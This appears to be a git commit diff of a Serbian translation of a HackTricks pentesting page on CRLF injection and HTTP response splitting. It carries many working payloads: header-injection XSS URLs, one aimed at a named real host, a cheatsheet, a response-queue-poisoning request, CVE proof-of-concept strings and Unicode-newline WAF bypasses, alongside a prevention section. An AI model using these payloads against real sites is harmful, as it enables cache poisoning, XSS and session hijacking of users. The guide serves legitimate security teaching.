mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/crlf-0d-0a.md'] to sr
This commit is contained in:
parent
ef713a105e
commit
408d4660f5
@ -4,11 +4,11 @@
|
||||
|
||||
### CRLF
|
||||
|
||||
Carriage Return (CR) i Line Feed (LF), zajedno poznati kao CRLF, su posebne sekvence karaktera koje se koriste u HTTP protokolu za označavanje kraja linije ili početka nove. Web serveri i pregledači koriste CRLF da razlikuju između HTTP zaglavlja i tela odgovora. Ovi karakteri se univerzalno koriste u HTTP/1.1 komunikacijama širom različitih tipova web servera, kao što su Apache i Microsoft IIS.
|
||||
Carriage Return (CR) i Line Feed (LF), zajedno poznati kao CRLF, su posebne sekvence karaktera koje se koriste u HTTP protokolu za označavanje kraja reda ili početka novog. Web serveri i pregledači koriste CRLF da razlikuju između HTTP zaglavlja i tela odgovora. Ovi karakteri se univerzalno koriste u HTTP/1.1 komunikacijama širom različitih tipova web servera, kao što su Apache i Microsoft IIS.
|
||||
|
||||
### CRLF Injection Vulnerability
|
||||
|
||||
CRLF injekcija uključuje umetanje CR i LF karaktera u korisnički uneti podatak. Ova akcija dovodi server, aplikaciju ili korisnika u zabludu da interpretira umetnutu sekvencu kao kraj jednog odgovora i početak drugog. Iako ovi karakteri nisu inherentno štetni, njihovo zloupotrebljavanje može dovesti do deljenja HTTP odgovora i drugih zlonamernih aktivnosti.
|
||||
CRLF injekcija uključuje umetanje CR i LF karaktera u korisnički uneti podatak. Ova akcija dovodi server, aplikaciju ili korisnika u zabludu da tumače umetnutu sekvencu kao kraj jednog odgovora i početak drugog. Iako ovi karakteri sami po sebi nisu štetni, njihovo zloupotrebljavanje može dovesti do deljenja HTTP odgovora i drugih zlonamernih aktivnosti.
|
||||
|
||||
### Example: CRLF Injection in a Log File
|
||||
|
||||
@ -18,7 +18,7 @@ Razmotrite log fajl u admin panelu koji prati format: `IP - Vreme - Poseteni Put
|
||||
```
|
||||
123.123.123.123 - 08:15 - /index.php?page=home
|
||||
```
|
||||
Napadač može iskoristiti CRLF injekciju da manipuliše ovim logom. Umetanjem CRLF karaktera u HTTP zahtev, napadač može promeniti izlazni tok i fabriovati log unose. Na primer, umetnuta sekvenca može transformisati log unos u:
|
||||
Napadač može iskoristiti CRLF injekciju da manipuliše ovim logom. Umetanjem CRLF karaktera u HTTP zahtev, napadač može promeniti izlazni tok i fabricirati log unose. Na primer, umetnuta sekvenca može transformisati log unos u:
|
||||
```
|
||||
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
|
||||
```
|
||||
@ -29,7 +29,7 @@ IP - Time - Visited Path
|
||||
123.123.123.123 - 08:15 - /index.php?page=home&
|
||||
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
|
||||
```
|
||||
Napadač tako prikriva svoje zlonamerne aktivnosti tako što izgleda kao da je localhost (entitet koji se obično smatra pouzdanim unutar serverskog okruženja) izvršio radnje. Server interpretira deo upita koji počinje sa `%0d%0a` kao jedan parametar, dok se parametar `restrictedaction` analizira kao drugi, odvojeni unos. Manipulisani upit efikasno oponaša legitimnu administrativnu komandu: `/index.php?page=home&restrictedaction=edit`
|
||||
Napadač tako prikriva svoje zlonamerne aktivnosti tako što izgleda kao da je localhost (entitet koji se obično smatra pouzdanim unutar serverskog okruženja) izvršio radnje. Server interpretira deo upita koji počinje sa `%0d%0a` kao jedan parametar, dok se parametar `restrictedaction` analizira kao drugi, odvojen unos. Manipulisani upit efikasno oponaša legitimnu administrativnu komandu: `/index.php?page=home&restrictedaction=edit`
|
||||
|
||||
### HTTP Response Splitting
|
||||
|
||||
@ -41,9 +41,9 @@ HTTP Response Splitting je sigurnosna ranjivost koja nastaje kada napadač iskor
|
||||
|
||||
1. Aplikacija postavlja prilagođeno zaglavlje ovako: `X-Custom-Header: UserInput`
|
||||
2. Aplikacija preuzima vrednost za `UserInput` iz parametra upita, recimo "user_input". U scenarijima koji nemaju odgovarajuću validaciju i kodiranje unosa, napadač može kreirati payload koji uključuje CRLF sekvencu, praćenu zlonamernim sadržajem.
|
||||
3. Napadač kreira URL sa posebno kreiranim 'user_input': `?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>`
|
||||
3. Napadač kreira URL sa posebno oblikovanim 'user_input': `?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>`
|
||||
- U ovom URL-u, `%0d%0a%0d%0a` je URL-enkodirani oblik CRLFCRLF. To obmanjuje server da umetne CRLF sekvencu, čineći da server tretira naredni deo kao telo odgovora.
|
||||
4. Server odražava napadačev unos u zaglavlju odgovora, što dovodi do nenamernog strukturalnog odgovora gde zlonamerni skript interpretira pregledač kao deo tela odgovora.
|
||||
4. Server odražava napadačev unos u zaglavlju odgovora, što dovodi do nenamernog strukturalnog odgovora gde zlonamerni skript prepoznaje pregledač kao deo tela odgovora.
|
||||
|
||||
#### Primer HTTP Response Splitting koji dovodi do preusmeravanja
|
||||
|
||||
@ -68,7 +68,7 @@ Možete poslati payload **unutar URL putanje** da kontrolišete **odgovor** sa s
|
||||
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
|
||||
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
|
||||
```
|
||||
Proverite više primera u:
|
||||
Proverite više primera na:
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md
|
||||
@ -113,7 +113,7 @@ $client->__soapCall("test", []);
|
||||
|
||||
Za više informacija o ovoj tehnici i potencijalnim problemima [**proverite izvor**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
|
||||
|
||||
Možete injektovati bitne header-e kako biste osigurali da **back-end zadrži vezu otvorenom** nakon odgovora na inicijalni zahtev:
|
||||
Možete ubrizgati bitne zaglavlja kako biste osigurali da **back-end zadrži vezu otvorenom** nakon odgovora na inicijalni zahtev:
|
||||
```
|
||||
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
|
||||
```
|
||||
@ -137,7 +137,7 @@ Memcache je **key-value store koji koristi protokol u čistom tekstu**. Više in
|
||||
../network-services-pentesting/11211-memcache/
|
||||
{{#endref}}
|
||||
|
||||
**Za sve informacije pročitajte**[ **originalni izveštaj**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)
|
||||
**Za sve informacije pročitajte**[ **originalni tekst**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)
|
||||
|
||||
Ako platforma uzima **podatke iz HTTP zahteva i koristi ih bez sanitizacije** za obavljanje **zahteva** ka **memcache** serveru, napadač bi mogao da zloupotrebi ovo ponašanje da **ubaci nove memcache komande**.
|
||||
|
||||
@ -145,21 +145,21 @@ Na primer, u prvobitno otkrivenoj ranjivosti, keš ključevi su korišćeni da v
|
||||
|
||||
<figure><img src="../images/image (659).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop"><figcaption></figcaption></figure>
|
||||
|
||||
Pored toga, istraživači su takođe otkrili da mogu da desinkronizuju memcache odgovore kako bi poslali IP i portove napadača korisnicima čiji email napadač nije znao:
|
||||
Štaviše, istraživači su takođe otkrili da mogu da desinkronizuju memcache odgovore kako bi poslali IP i portove napadača korisnicima čiji email napadač nije znao:
|
||||
|
||||
<figure><img src="../images/image (637).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop"><figcaption></figcaption></figure>
|
||||
|
||||
### Kako sprečiti CRLF / HTTP zaglavlja injekcije u web aplikacijama
|
||||
|
||||
Da bi se umanjili rizici od CRLF (Carriage Return and Line Feed) ili HTTP zaglavlja injekcija u web aplikacijama, preporučuju se sledeće strategije:
|
||||
Da bi se umanjili rizici od CRLF (Carriage Return i Line Feed) ili HTTP zaglavlja injekcija u web aplikacijama, preporučuju se sledeće strategije:
|
||||
|
||||
1. **Izbegavajte direktan unos korisnika u zaglavljima odgovora:** Najsigurniji pristup je da se ne uključuje unos koji je obezbedio korisnik direktno u zaglavlja odgovora.
|
||||
1. **Izbegavajte direktan unos korisnika u zaglavljima odgovora:** Najsigurniji pristup je da se uzdržite od uključivanja unosa koji je obezbedio korisnik direktno u zaglavlja odgovora.
|
||||
2. **Kodirajte specijalne karaktere:** Ako izbegavanje direktnog unosa korisnika nije izvodljivo, obavezno koristite funkciju posvećenu kodiranju specijalnih karaktera kao što su CR (Carriage Return) i LF (Line Feed). Ova praksa sprečava mogućnost CRLF injekcije.
|
||||
3. **Ažurirajte programski jezik:** Redovno ažurirajte programski jezik koji se koristi u vašim web aplikacijama na najnoviju verziju. Odaberite verziju koja inherentno zabranjuje injekciju CR i LF karaktera unutar funkcija koje su zadužene za postavljanje HTTP zaglavlja.
|
||||
|
||||
### CHEATSHEET
|
||||
|
||||
[Cheatsheet from here](https://twitter.com/NinadMishra5/status/1650080604174667777)
|
||||
[Cheatsheet odavde](https://twitter.com/NinadMishra5/status/1650080604174667777)
|
||||
```
|
||||
1. HTTP Response Splitting
|
||||
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
|
||||
@ -181,20 +181,57 @@ Da bi se umanjili rizici od CRLF (Carriage Return and Line Feed) ili HTTP zaglav
|
||||
• %E5%98%BC = %3C = \u563c (<)
|
||||
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
|
||||
```
|
||||
### Nedavne ranjivosti (2023 – 2025)
|
||||
|
||||
Poslednjih nekoliko godina proizvelo je nekoliko ranjivosti sa visokim uticajem CRLF/HTTP header-injection u široko korišćenim komponentama na serveru i klijentu. Reprodukcija i proučavanje ovih ranjivosti lokalno je odličan način za razumevanje obrazaca eksploatacije u stvarnom svetu.
|
||||
|
||||
| Godina | Komponenta | CVE / Savet | Osnovni uzrok | Istaknuti PoC |
|
||||
|--------|------------|-------------|---------------|---------------|
|
||||
| 2024 | RestSharp (≥110.0.0 <110.2.0) | **CVE-2024-45302** | `AddHeader()` pomoćna funkcija nije sanitizovala CR/LF, omogućavajući konstrukciju više zaglavlja zahteva kada se RestSharp koristi kao HTTP klijent unutar back-end usluga. Sistemi nizvodno mogli su biti primorani na SSRF ili request smuggling. | `client.AddHeader("X-Foo","bar%0d%0aHost:evil")` |
|
||||
| 2024 | Refit (≤ 7.2.101) | **CVE-2024-51501** | Atributi zaglavlja na metodama interfejsa su kopirani doslovno u zahtev. Umetanjem `%0d%0a`, napadači su mogli dodati proizvoljna zaglavlja ili čak drugi zahtev kada je Refit korišćen od strane server-side radnih zadataka. | `[Headers("X: a%0d%0aContent-Length:0%0d%0a%0d%0aGET /admin HTTP/1.1")]` |
|
||||
| 2023 | Apache APISIX Dashboard | **GHSA-4h3j-f5x9-r6x3** | Korisnički prosleđeni `redirect` parametar je odražen u `Location:` zaglavlju bez kodiranja, omogućavajući otvoreno preusmeravanje + trovanje kešom. | `/login?redirect=%0d%0aContent-Type:text/html%0d%0a%0d%0a<script>alert(1)</script>` |
|
||||
|
||||
Ove ranjivosti su važne jer se aktiviraju **unutar koda na nivou aplikacije** i ne samo na ivici web-servera. Svaka interna komponenta koja vrši HTTP zahteve ili postavlja zaglavlja odgovora mora stoga primeniti filtriranje CR/LF.
|
||||
|
||||
### Napredni Unicode / Bypass kontrolnih karaktera
|
||||
|
||||
Moderne WAF/rewriter platforme često uklanjaju doslovne `\r`/`\n` ali zaboravljaju na druge karaktere koje mnogi back-end sistemi tretiraju kao završetke linija. Kada se CRLF filtrira, pokušajte:
|
||||
|
||||
* `%E2%80%A8` (`U+2028` – SEPARATOR LINIJAE)
|
||||
* `%E2%80%A9` (`U+2029` – SEPARATOR PARAGRAFA)
|
||||
* `%C2%85` (`U+0085` – NAREDNA LINIJAE)
|
||||
|
||||
Neki Java, Python i Go okviri konvertuju ove karaktere u `\n` tokom parsiranja zaglavlja (videti istraživanje Praetorian iz 2023). Kombinujte ih sa klasičnim payload-ima:
|
||||
```
|
||||
/%0A%E2%80%A8Set-Cookie:%20admin=true
|
||||
```
|
||||
Ako filter prvo normalizuje UTF-8, kontrolni karakter se pretvara u regularni znak za novi red, a injektovana glava se prihvata.
|
||||
|
||||
### WAF Evasion via Duplicate `Content-Encoding` Trick (2023)
|
||||
|
||||
Praetorian istraživači su takođe pokazali da injektovanjem:
|
||||
```
|
||||
%0d%0aContent-Encoding:%20identity%0d%0aContent-Length:%2030%0d%0a
|
||||
```
|
||||
u reflektovanom headeru, pregledači će ignorisati telo koje je dostavio server i prikazati HTML koji je dostavio napadač, što dovodi do skladištenog XSS čak i kada je sadržaj aplikacije inertan. Pošto je `Content-Encoding: identity` dozvoljen od strane RFC 9110, mnogi reverzni proksi ga prosleđuju nepromenjenog.
|
||||
|
||||
## Automatski alati
|
||||
|
||||
- [https://github.com/Raghavd3v/CRLFsuite](https://github.com/Raghavd3v/CRLFsuite)
|
||||
- [https://github.com/dwisiswant0/crlfuzz](https://github.com/dwisiswant0/crlfuzz)
|
||||
* [CRLFsuite](https://github.com/Raghavd3v/CRLFsuite) – brzi aktivni skener napisan u Go.
|
||||
* [crlfuzz](https://github.com/dwisiswant0/crlfuzz) – fuzzer zasnovan na rečniku koji podržava Unicode newline payloads.
|
||||
* [crlfix](https://github.com/glebarez/crlfix) – 2024. godina alat koji ispravlja HTTP zahteve generisane Go programima i može se koristiti samostalno za testiranje internih usluga.
|
||||
|
||||
## Lista za detekciju Brute-Force
|
||||
## Lista za detekciju brute-force
|
||||
|
||||
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt)
|
||||
- [carlospolop/Auto_Wordlists – crlf.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt)
|
||||
|
||||
## Reference
|
||||
|
||||
- [**https://www.invicti.com/blog/web-security/crlf-http-header/**](https://www.invicti.com/blog/web-security/crlf-http-header/)
|
||||
- [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
|
||||
- [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
|
||||
- [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)
|
||||
- [https://www.invicti.com/blog/web-security/crlf-http-header/](https://www.invicti.com/blog/web-security/crlf-http-header/)
|
||||
- [https://www.acunetix.com/websitesecurity/crlf-injection/](https://www.acunetix.com/websitesecurity/crlf-injection/)
|
||||
- [https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
|
||||
- [https://www.netsparker.com/blog/web-security/crlf-http-header/](https://www.netsparker.com/blog/web-security/crlf-http-header/)
|
||||
- [https://nvd.nist.gov/vuln/detail/CVE-2024-45302](https://nvd.nist.gov/vuln/detail/CVE-2024-45302)
|
||||
- [https://security.praetorian.com/blog/2023-unicode-newlines-bypass/](https://security.praetorian.com/blog/2023-unicode-newlines-bypass/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user